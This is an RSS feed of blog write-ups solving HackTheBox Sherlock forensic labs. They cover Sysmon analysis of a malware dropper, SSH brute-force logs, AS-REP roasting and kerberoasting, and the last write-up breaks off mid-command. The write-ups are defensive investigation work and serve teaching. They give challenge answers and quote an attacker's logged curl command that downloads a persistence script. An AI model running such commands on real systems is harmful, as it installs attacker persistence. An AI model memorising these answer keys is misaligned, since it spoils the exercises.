<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mac Leo on Medium]]></title>
        <description><![CDATA[Stories by Mac Leo on Medium]]></description>
        <link>https://medium.com/@mathen?source=rss-3480afb04cc4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*b7hvPPvjNt94WfKV-4LeZg.jpeg</url>
            <title>Stories by Mac Leo on Medium</title>
            <link>https://medium.com/@mathen?source=rss-3480afb04cc4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 13:51:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mathen/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackTheBox | Sherlocks | Unit42]]></title>
            <link>https://medium.com/@mathen/hackthebox-sherlocks-unit42-fd1be3a09b05?source=rss-3480afb04cc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd1be3a09b05</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Mac Leo]]></dc:creator>
            <pubDate>Fri, 11 Apr 2025 15:52:18 GMT</pubDate>
            <atom:updated>2025-04-11T15:52:18.448Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*leC6V7oiIvqwdIbvFbyu1w.png" /></figure><ol><li><strong>How many Event logs are there with Event ID 11?</strong></li></ol><p><strong>ANS: 56</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Search <strong>Event ID 11</strong> on Filter Current Log and Check on the Number of Event</p><blockquote><em>Event ID 11</em><strong><em>:</em></strong><em> File Created Description: This event is logged when a file is created, offering insights into files being generated by processes.</em></blockquote><blockquote><em>Key Fields:</em></blockquote><blockquote><em>Process Creating the File: The process responsible for creating the new file. File Being Created and Full Path: The name and full path of the newly created file.</em></blockquote><blockquote><em>Security Relevance: The creation of files is a common behavior in software execution, but in a security context, monitoring file creation can help detect the dropping of malware payloads, unauthorised data collection, or temporary files created as part of an attack.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*wYOmCA4LlX_Ekz3aegb61A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mxNoKVcqjJwzhFpSTCaa2w.png" /></figure><p><strong>2. Whenever a process is created in memory, an event with Event ID 1 is recorded with details such as command line, hashes, process path, parent process path, etc. This information is very useful for an analyst because it allows us to see all programs executed on a system, which means we can spot any malicious processes being executed. What is the malicious process that infected the victim’s system</strong></p><p><strong>ANS:</strong> C:\Users\CyberJunkie\Downloads\Preventivo24.02.14.exe.exe</p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Search <strong>Event ID 1</strong> on Filter Current Log and Check on the Number of Event</p><blockquote>Event ID 1: Process Creation Description: This event logs the creation (or execution) of a process and provides comprehensive details about it.</blockquote><blockquote>Key Fields:</blockquote><blockquote>Process Path: The full path of the executable file for the newly created process.</blockquote><blockquote>Parent Process Path: The full path of the executable file for the parent process that created this process. This is crucial for understanding the chain of execution.</blockquote><blockquote>Command Line Arguments: The full command line used to execute the process, including all parameters. This can reveal the intent behind the process execution, especially if the process is malicious.</blockquote><blockquote>Security Relevance: By analysing process creation events, security professionals can identify potentially malicious processes, understand attack chains, and detect the abuse of legitimate system utilities for nefarious purpose</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*6D5H36YaLOfZ_jdg4EOuUA.png" /></figure><p><strong>Step 2:</strong> Search for anything suspicious on the log at the <strong>General tab</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Vyyw9CnT1uZgFbN7b9xdg.png" /></figure><p><strong>Alternative Method</strong></p><p><strong>Step 1:</strong> Parse the<strong> Microsoft-Windows-Sysmon-Operational.evtx</strong> on <strong>EvtxCmd</strong></p><pre>EvtxECmd.exe -f &lt;\path\Microsoft-Windows-Sysmon-Operational.evtx&gt; --csv &lt;destination_path&gt; --csvf sec_logs.csv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IvmRe0qbdVS0qwdsFJkujA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wzdml8IIVjpfF2cM9etVQg.png" /></figure><p><strong>Step 2: </strong>Sort it according to Event ID and search on <strong>Event ID 1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GpPv93VFEDt2poPUcYkJ2g.png" /></figure><p><strong>Step 3:</strong> Look for any <strong>suspicious file </strong>and it seems <strong>Preventivo24.02.14.exe.exe</strong> is very suspicious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R2lyfMHRjSXz6ewmUIv4cg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aE3mA5FF4ZfKg49PfNn0FA.png" /></figure><p><strong>Step 4:</strong> We can do simple <strong>Google Search</strong> for more details</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v-vrKc4WOhvKb-_EWtWo3Q.png" /></figure><p><strong>Step 5:</strong> We can also try to get the File Hash on <strong>Timeline Explorer t</strong>o verify it for an malicious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJPkvXYs79NOCDvwbWKM0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7nJqKGGUT-o_LxGpxBcgbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e07syp_DcUSEeqv4pGw_DQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mhfkvsmN7ZPxpzeuPrEB2Q.png" /></figure><p><strong>3. Which Cloud drive was used to distribute the malware?</strong></p><p><strong>ANS: </strong>dropbox</p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Search for <strong>Query Name </strong>on <strong>Event ID 22</strong></p><blockquote>Event ID 22: DNS Query<br>Description: Captures DNS queries made by processes, which can be essential for identifying<br>domain names involved in malicious activities.<br>Key Fields:<br>Process Querying the Domain: The process that initiated the DNS query.<br>Target Domain Name: The domain name that was queried.<br>IP Address They Resolve To: The IP addresses returned in response to the DNS query.<br>Security Relevance: DNS queries can reveal a lot about network behavior, including<br>potential contact with malicious domains, domain generation algorithms (DGA) used by<br>malware, and data exfiltration over DNS. Monitoring DNS queries can aid in early detection of<br>threat indicators.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OyLlPoF0y7hPef3QXA8a4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*T5PcbNV62ea7GwNCQy3oyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*y9BxJqvDate5R_8CWY9DWQ.png" /></figure><p><strong>4. The initial malicious file time-stamped (a defense evasion technique, where the file creation date is changed to make it appear old) many files it created on disk. What was the timestamp changed to for a PDF file?</strong></p><p><strong>ANS:</strong> 2024–01–14 08:10:06</p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Check on <strong>Event ID 2</strong></p><blockquote>Event ID 2: File Creation Time Changed<br>Description: Logs when the creation time of a file is modified, which might indicate an<br>attempt to obscure the time of file creation or modification.<br>Key Fields:<br>File Making the Change: The process responsible for altering the file’s creation time.<br>File to Which Change is Being Made: The file whose creation time is being modified.<br>Tampered Timestamp: The new creation time being set.<br>Original Timestamp: The original creation time before it was altered.<br>Security Relevance: Modifications to file creation times can be a tactic used by attackers to<br>evade detection or to align with legitimate system activity to remain under the radar.<br>Monitoring such changes can help uncover stealthy maneuvers.</blockquote><blockquote>Timestomping is a technique often used by Threat Actors to manipulate the timestamps of files within a computer system. These timestamps include the date and time a file was created, last modified, and last accessed. By changing these details, someone can hide their tracks, making it harder for investigators or security software to determine when the files were actually altered or created.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZAazOqypZndcEOEb5ICWgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*33dgbVnchcKXbl7ZHnjNeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*2Tcq4Ng6jfvUq1sR2Q9ClA.png" /></figure><p><strong>5. The malicious file dropped a few files on disk. Where was “once.cmd” created on disk? Please answer with the full path along with the filename.</strong></p><p><strong>ANS: </strong>C:\Users\CyberJunkie\AppData\Roaming\Photo and Fax Vn\Photo and vn 1.1.2\install\F97891C\WindowsVolume\Games\once.cmd</p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1: </strong>Search <strong>once.cmd</strong> and look at <strong>Event ID 11</strong></p><blockquote>Event ID 11: File Created<br>Description: This event is logged when a file is created, offering insights into files being<br>generated by processes.<br>Key Fields:<br>Process Creating the File: The process responsible for creating the new file.<br>File Being Created and Full Path: The name and full path of the newly created file.<br>Security Relevance: The creation of files is a common behavior in software execution, but in<br>a security context, monitoring file creation can help detect the dropping of malware payloads,<br>unauthorised data collection, or temporary files created as part of an attack.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zFh-vdh1pfxVbsgkGwPe8A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M2msdo1C2YqVZzD6_-ouJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*RLCNdGBxkiMMN5odPp8lsw.png" /></figure><p><strong>6. The malicious file attempted to reach a dummy domain, most likely to check the internet connection status. What domain name did it try to connect to?</strong></p><p><strong>ANS:</strong> <a href="http://www.example.com/">www.example.com</a></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1: </strong>Look for any dummy domain on <strong>Event ID 22</strong></p><blockquote>Event ID 22: DNS Query<br>Description: Captures DNS queries made by processes, which can be essential for identifying<br>domain names involved in malicious activities.<br>Key Fields:<br>Process Querying the Domain: The process that initiated the DNS query.<br>Target Domain Name: The domain name that was queried.<br>IP Address They Resolve To: The IP addresses returned in response to the DNS query.<br>Security Relevance: DNS queries can reveal a lot about network behavior, including<br>potential contact with malicious domains, domain generation algorithms (DGA) used by<br>malware, and data exfiltration over DNS. Monitoring DNS queries can aid in early detection of<br>threat indicators.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pVwSRBvc58EqWmunFe-EwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*fuKYORUOMRO4CPFS7TJJhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*Q7E93Mo77Po0hz2MYxqZdg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*QZelTqHy605aTurHMRLBVA.png" /></figure><p><strong>7. Which IP address did the malicious process try to reach out to?</strong></p><p><strong>ANS: </strong>93.184.216.34</p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Look for the IP Address on <strong>Event ID 3</strong></p><blockquote>Event ID 3: Network Connection<br>Description: This event records outgoing network connections initiated by processes,<br>providing visibility into network activity.<br>Key Fields:<br>Process Making the Connection: The process initiating the network connection.<br>Destination IP Address and Port: The external endpoint to which the process is<br>connecting. This includes both the IP address and the port number.<br>Security Relevance: Monitoring network connections helps in identifying suspicious<br>communications with external servers, data exfiltration</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YbIqAB52tW6Co5drGWIwxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T6L9D-HTECKSGiAV4b7Bpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*nBx3iQi50WkgRbnX_Nky1Q.png" /></figure><p><strong>8. The malicious process terminated itself after infecting the PC with a backdoored variant of UltraVNC. When did the process terminate itself?</strong></p><p><strong>ANS:</strong> 2024–02–14 03:41:58</p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Look for the Timestamp in <strong>Event ID 5</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WJ4NQJlVDTTHBgo3qswOLQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0TGvzq-wsbcT3rEInllEvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*_ysN4yV0jAKLK3pmY-H3KQ.png" /></figure><p><strong>***********************THANK YOU****KEEP LEARNING ******************</strong></p><p><strong>HOPE GUYS, THIS WALKTHROUGH MIGHT HELP YOU,IF SO LIKE THE WRITE UP ,LIKE &amp; FOLLOW TO THE BLOG AND PROFILE WILL BE MUCH APPRECIATED</strong></p><p><strong>FOLLOW MY PROFILE FOR MORE WRITE-UPS</strong></p><p><strong>***********************************PEACE***********************************</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd1be3a09b05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox | Sherlocks | Brutus]]></title>
            <link>https://medium.com/@mathen/hackthebox-sherlocks-brutus-a1a63d42d783?source=rss-3480afb04cc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1a63d42d783</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[digital-forensic-lab]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Mac Leo]]></dc:creator>
            <pubDate>Sun, 11 Aug 2024 10:56:20 GMT</pubDate>
            <atom:updated>2024-08-11T10:56:20.617Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*ZxBm6fay3E27q4IyK18XIQ.png" /></figure><ol><li><strong>Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?</strong></li></ol><p><strong>ANS: 65.2.161.68</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Open the auth.log in any IDE and analyze for any<strong> IP address</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IRGwu6yK1sCrehq8Kp5aHA.png" /></figure><p><strong>2. The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?</strong></p><p><strong>ANS: root</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1: </strong>Check on the successful attempted for the username bruteforce</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aSX3lgCduJDew_h3GG0JTg.png" /></figure><p><strong>3. Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?</strong></p><p><strong>ANS: 2024–03–06 06:32:45</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Check on any <strong>New session </strong>been created after failed connection did by the attacker and also check the <strong>wtmp</strong> file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V8EW5qEDGJ0jROZfsHQxFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sAcpWpv0NZhA4L5Rl6mUAw.png" /></figure><p><strong>4. SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?</strong></p><p><strong>ANS: 34</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Check for<strong> New session</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PP-j3OfiyIozkE038hTGPg.png" /></figure><p><strong>5. The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?</strong></p><p><strong>ANS: cyberjunkie</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Check for the<strong> new user account been added to the group</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VFHj44ejK_qWdFznt1h4lA.png" /></figure><p><strong>6. What is the MITRE ATT&amp;CK sub-technique ID used for persistence?</strong></p><p><strong>ANS: T1136.001</strong></p><p><a href="https://attack.mitre.org/tactics/TA0003/"><strong>https://attack.mitre.org/tactics/TA0003/</strong></a></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> We identified the attacker use <strong>persistence</strong> technique to stay connection on the machine, Search <strong>MITRE ATT&amp;CK Framework</strong> for the this scenario</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kWJJluAQ4IvDzi6P__4law.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hQr6A3dvmda_PGrqHftNFA.png" /></figure><p><strong>7. How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)</strong></p><p><strong>ANS: 279</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Based on the <strong>wtmp</strong> file, the attacker was first<strong> 6hr 32 min 45 sec</strong>, then look on <strong>auth.log</strong>, the timestamp was <strong>6hr 37 min 34 sec</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sAcpWpv0NZhA4L5Rl6mUAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f_JxNzSi5WKROpjAZdONgA.png" /></figure><p><strong>Step 2: Subtract both timestamp and convert them in seconds</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*1Gtqg9gZV8C-8f-lF99SdQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*PP7ZoK4lDDk_Aa8Uko63dA.png" /></figure><p><strong>8. The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?</strong></p><p><strong>ANS: /usr/bin/curl </strong><a href="https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh"><strong>https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh</strong></a></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1: </strong>Search for attacker <strong>command </strong>in the log</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KcN91E5TIJ3i1v1B9MtA5A.png" /></figure><p><strong>***********************THANK YOU****KEEP LEARNING ******************</strong></p><p><strong>HOPE GUYS, THIS WALKTHROUGH MIGHT HELP YOU,IF SO LIKE THE WRITE UP ,LIKE &amp; FOLLOW TO THE BLOG AND PROFILE WILL BE MUCH APPRECIATED</strong></p><p><strong>FOLLOW MY PROFILE FOR MORE WRITE-UPS</strong></p><p><strong>***********************************PEACE***********************************</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1a63d42d783" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox | Sherlocks | Campfire 2]]></title>
            <link>https://medium.com/@mathen/hackthebox-sherlocks-campfire-2-c42f64a42849?source=rss-3480afb04cc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c42f64a42849</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[the-sherlocks]]></category>
            <dc:creator><![CDATA[Mac Leo]]></dc:creator>
            <pubDate>Wed, 24 Jul 2024 13:06:55 GMT</pubDate>
            <atom:updated>2024-07-24T13:06:55.558Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c7B8RXl_lHjRQEXG5Quqcg.jpeg" /></figure><p><strong>1.When did the ASREP Roasting attack occur, and when did the attacker request the Kerberos ticket for the vulnerable user?</strong></p><p><strong>ANS: 2024–05–29 06:36:40</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Open the <strong>Security.evtx</strong> file and observe the logs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CWM816U5hQz3JaZf1Rd09A.png" /></figure><p><strong>Step 2:</strong> Parse <strong>Security.evtx</strong> on <strong>EvtxECmd</strong></p><pre>.\EvtxECmd.exe -f &lt;path/Security.evtx&gt; --csv &lt;Destination_Path&gt; --csvf Sec_Log.csv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m5QEZAJrexcV2OHZnRjazw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LitvBEe5ehshiPFGk0C3Lg.png" /></figure><p><strong>Step 3:</strong> Open the output file on Timeline Explorer (Eric Zimmerman Tool), Sort the Event ID and check for<strong> Event ID 4768</strong> and look for any suspicious remote host</p><p><strong>Note: Event ID 4768 is logged for authentication attempts using the Kerberos authentication protocol.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lOPkKq8YgiyvLMDyq38O_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NU1msum-kdUIwainirlVfQ.png" /></figure><p><strong>2. Please confirm the User Account that was targeted by the attacker.</strong></p><p><strong>ANS: arthur.kyle</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Based on Question 1, Look for <strong>Payload Data1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E3H6C9nJDzElsMmQpH7jWQ.png" /></figure><p><strong>3. What was the SID of the account?</strong></p><p><strong>ANS: S-1–5–21–3239415629–1862073780–2394361899–1601</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Based on Question 1, Look for the Payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3VfKyFyvC4pI6rt-mmSMrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*IyshKMx3yiNwfJbDBo4wow.png" /></figure><p><strong>4. It is crucial to identify the compromised user account and the workstation responsible for this attack. Please list the internal IP address of the compromised asset to assist our threat-hunting team.</strong></p><p><strong>ANS: 172.17.79.129</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1: </strong>Based on Question 1, Look for the <strong>Payload</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3VfKyFyvC4pI6rt-mmSMrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*3NHkWfVCxhwDGPxR1I-VyA.png" /></figure><p><strong>5. We do not have any artifacts from the source machine yet. Using the same DC Security logs, can you confirm the user account used to perform the ASREP Roasting attack so we can contain the compromised account/s?</strong></p><p><strong>ANS: happy.grunwald</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Sort the <strong>Event ID</strong> and check for <strong>Event ID 4769</strong> and look for any suspicious remote host and check on <strong>Payload Data1</strong></p><p><strong>Note: Windows event ID 4769 is generated every time the Key Distribution Center (KDC) receives a Kerberos Ticket Granting Service (TGS) ticket request.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8K6yfXbTFi1GRROYOQuedw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8K6yfXbTFi1GRROYOQuedw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*MCY8FFOuoaIKZD_8Tg5O2g.png" /></figure><p><strong>*****************THANK YOU****KEEP LEARNING ******************</strong></p><p><strong>HOPE GUYS, THIS WALKTHROUGH MIGHT HELP YOU,IF SO LIKE THE WRITE UP ,LIKE &amp; FOLLOW TO THE BLOG AND PROFILE WILL BE MUCH APPRECIATED</strong></p><p><strong>FOLLOW MY PROFILE FOR MORE WRITE-UPS</strong></p><p><strong>****************************PEACE********************************</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c42f64a42849" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox | Sherlocks | Campfire 1]]></title>
            <link>https://medium.com/@mathen/sherlocks-campfire-1-b5cbdf17c9ea?source=rss-3480afb04cc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b5cbdf17c9ea</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[sherlock]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Mac Leo]]></dc:creator>
            <pubDate>Sun, 14 Jul 2024 06:55:52 GMT</pubDate>
            <atom:updated>2024-07-14T09:45:07.958Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*7J64ITyof1BICbcKTNTgrg.png" /></figure><ol><li><strong>Analyzing Domain Controller Security Logs, can you confirm the date &amp; time when the kerberoasting activity occurred?</strong></li></ol><p><strong>ANS: 2024–05–21 03:18:09</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Open the SECURITY-DC.evtx file and observe the logs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TOdPgJDfl03iA1UFA7SwOA.png" /></figure><p><strong>Step 2:</strong> Open <strong>EvtxECmd (</strong>Eric Zimmerman tool)</p><p><strong>Step 3:</strong> Parse the <strong>SECURITY-DC.evtx</strong> (Event Logs) on EvtxECmd</p><pre>EvtxECmd.exe -f &lt;path/SECURITY-DC.evtx&gt; --csv &lt;destination_path&gt; --csvf DC.csv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WSr68SiZrACOF6wboRcsSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kd6ZEcltC2ISlv58Wk7gqw.png" /></figure><p><strong>Step 4:</strong> Open the parsed file on Timeline Explorer (Eric Zimmerman tool) and sort the <strong>Event ID</strong> to get better view</p><p><strong>Step 5:</strong> Check for an <strong>Event ID 4769</strong> →<strong> Windows event ID 4769 is generated every time the Key Distribution Center (KDC) receives a Kerberos Ticket Granting Service (TGS) ticket request</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U688ceF2GJ60NXhXgh2PqQ.png" /></figure><p><strong>2. What is the Service Name that was targeted?</strong></p><p><strong>ANS: MSSQLService</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Open <strong>SECURITY-DC.evtx</strong> on Event Viewer and click on Filter Current Log and type<strong> 4769</strong></p><p><strong>Step 2:</strong> Check on the <strong>General</strong> in the log (refer to same timestamp on previous Question 1), look for Service Name at Service Information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*MhsFIVmQqXu8N-3gA0ia6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*rX8M63NIQvVMLfD2uqpP1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WmIU3Abq-EGrARNJ6n0Zfg.png" /></figure><p>3. <strong>It is really important to identify the Workstation from which this activity occurred. What is the IP Address of the workstation?</strong></p><p><strong>ANS: 172.17.79.129</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Check on the <strong>General</strong> in the log (refer to same timestamp on previous Question 1) , Look for Client Address at Network Information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hP8U_kyUGNIypYL0RZP2rA.png" /></figure><p><strong>4. Now that we have identified the workstation, a triage including PowerShell logs and Prefetch files are provided to you for some deeper insights so we can understand how this activity occurred on the endpoint. What is the name of the file used to Enumerate Active directory objects and possibly find Kerberoastable accounts in the network?</strong></p><p><strong>ANS: powerview.ps1</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Open the Powershell-Operational.evtx and look in the PowerShell Script on the General tab(Copy the script on Editor for better view)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tH8YVxmTB8TTgvia0QV2HQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*2pFQYaF4olt_pAy63svNAw.png" /></figure><p><strong>Alternative Method</strong></p><p><strong>Step 1:</strong> Parse the Powershell-Operational.evtx on EvtxECmd</p><pre>EvtxECmd.exe -f &lt;path/Powershell-Operational.evtx.evtx&gt; --csv &lt;destination_path&gt; --csvf PS.csv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wAYH0sxxye98BubUIhGqzQ.png" /></figure><p><strong>Step 2: </strong>Open the PS.csv on Timeline Explorer and check on Payload Data1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x5F-UzILcczNaXTAlQt25w.png" /></figure><p><strong>5. When was this script executed?</strong></p><p><strong>ANS: 2024–05–21 03:16:32</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Based on the Question 4, look at the Time Created on Timeline Explorer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hQaYEwR-Vc3zhvqlRT3MWw.png" /></figure><p><strong>6. What is the full path of the tool used to perform the actual kerberoasting attack?</strong></p><p><strong>ANS:</strong> C:\Users\Alonzo.spire\Downloads\Rubeus.exe</p><p><strong>Step 1:</strong> Parse the Prefetch files on PECmd (Eric Zimmerman Tool)</p><pre>.\PECmd.exe -d 